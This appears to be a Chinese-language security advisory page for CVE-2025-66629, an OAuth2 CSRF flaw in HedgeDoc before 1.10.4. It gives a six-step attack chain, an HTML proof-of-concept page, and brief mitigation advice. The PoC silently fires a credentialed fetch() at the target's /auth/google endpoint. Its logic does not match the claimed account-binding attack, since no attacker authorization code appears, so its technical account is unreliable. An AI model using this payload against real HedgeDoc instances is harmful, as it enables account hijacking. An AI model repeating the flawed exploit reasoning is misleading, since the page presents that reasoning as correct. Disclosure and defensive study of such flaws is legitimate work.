IPBUF安全漏洞报告
English
CVE-2025-66629 CVSS 3.7 低危

CVE-2025-66629 HedgeDoc OAuth2 CSRF跨站请求伪造漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-66629
漏洞类型
CSRF(跨站请求伪造)
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
HedgeDoc

相关标签

CSRF跨站请求伪造OAuth2HedgeDoc身份认证绕过社交登录CVE-2025-66629实时协作笔记

漏洞概述

CVE-2025-66629是HedgeDoc开源实时协作Markdown笔记应用中的一个跨站请求伪造(CSRF)漏洞。HedgeDoc是一款支持多人实时协作编辑的开源笔记平台,提供社交登录功能以方便用户使用Google、GitHub、GitLab、Facebook或Dropbox等第三方账号进行认证登录。在1.10.4之前的版本中,部分OAuth2认证端点缺少必要的CSRF保护机制,具体表现为未正确实现state参数的生成和验证流程。攻击者可以构造恶意的OAuth授权链接,诱导已登录用户在不知情的情况下完成认证绑定操作,从而可能导致用户账户被劫持或敏感信息泄露。由于该漏洞需要用户交互才能触发,且CVSS评分仅为3.7,因此被评定为低危级别。

技术细节

OAuth2协议要求授权端点在发起授权请求时生成一个随机且不可预测的state参数,并在接收授权回调时验证该参数以防止CSRF攻击。然而,HedgeDoc在1.10.4之前的版本中,部分社交登录提供商的OAuth2端点未正确实现这一安全机制。具体问题包括:1) 授权请求未包含state参数或state参数生成不够随机;2) 授权回调时未验证state参数或验证逻辑存在缺陷。攻击者可以构造一个钓鱼链接,诱骗已登录用户访问,该链接会向HedgeDoc发起一个伪造的OAuth授权请求。当用户点击链接后,攻击者可以在自己的账户中绑定受害者的社交账号,从而实现账户劫持。由于state参数缺失,服务器无法区分这是用户主动发起的授权请求还是攻击者构造的恶意请求,导致CSRF攻击成功。

攻击链分析

STEP 1
步骤1
攻击者首先在目标HedgeDoc实例上注册一个攻击者控制的社交账号(如Google账户)
STEP 2
步骤2
攻击者构造包含恶意OAuth授权链接的钓鱼页面,该链接指向目标HedgeDoc的社交登录端点
STEP 3
步骤3
攻击者通过社工手段(如钓鱼邮件、恶意网站等)诱导已登录的受害用户访问构造的钓鱼页面
STEP 4
步骤4
受害者的浏览器自动向HedgeDoc服务器发送OAuth授权请求,由于缺少state参数验证,请求被接受
STEP 5
步骤5
OAuth回调完成,攻击者的社交账号与受害者的HedgeDoc账户成功绑定
STEP 6
步骤6
攻击者使用绑定的社交账号登录HedgeDoc,从而获得对受害者账户的完全访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-66629 - HedgeDoc OAuth2 CSRF --> <!-- This PoC demonstrates the CSRF attack on HedgeDoc OAuth2 endpoints --> <!DOCTYPE html> <html> <head> <title>HedgeDoc OAuth2 CSRF PoC</title> </head> <body> <h1>HedgeDoc OAuth2 CSRF Attack PoC</h1> <p>Clicking the button below will trigger a CSRF attack against HedgeDoc OAuth2 endpoints.</p> <!-- CSRF payload for Google OAuth2 binding --> <form id="csrfForm" action="https://your-hedgedoc-instance/auth/google" method="GET"> <!-- No state parameter - this is the vulnerability --> <input type="hidden" name="redirect" value="/features"> <button type="submit" id="attackBtn">Click Me</button> </form> <!-- Auto-submit script --> <script> // Auto-submit after page load (for demonstration) // document.getElementById('csrfForm').submit(); // Alternative: Stealth auto-submit using fetch fetch('https://your-hedgedoc-instance/auth/google', { method: 'GET', mode: 'no-cors', credentials: 'include' }).then(() => { console.log('CSRF request sent'); }); </script> <p><strong>Note:</strong> This PoC requires the victim to be logged into HedgeDoc. The attacker would receive the OAuth callback at their controlled endpoint.</p> </body> </html> <!-- Attack scenario: --> <!-- 1. Attacker creates a malicious page with the above PoC --> <!-- 2. Attacker tricks a logged-in HedgeDoc user into visiting the page --> <!-- 3. The page auto-submits a request to /auth/google without state parameter --> <!-- 4. If user has authorized Google OAuth before, the binding completes --> <!-- 5. Attacker can now access victim's HedgeDoc account via Google login -->

影响范围

HedgeDoc < 1.10.4

防御指南

临时缓解措施
如果无法立即升级,可以考虑临时禁用HedgeDoc的社交登录功能(Google、GitHub、GitLab、Facebook、Dropbox),改用本地账户认证方式。同时加强对用户的安全教育,提醒用户不要点击来源不明的OAuth授权链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表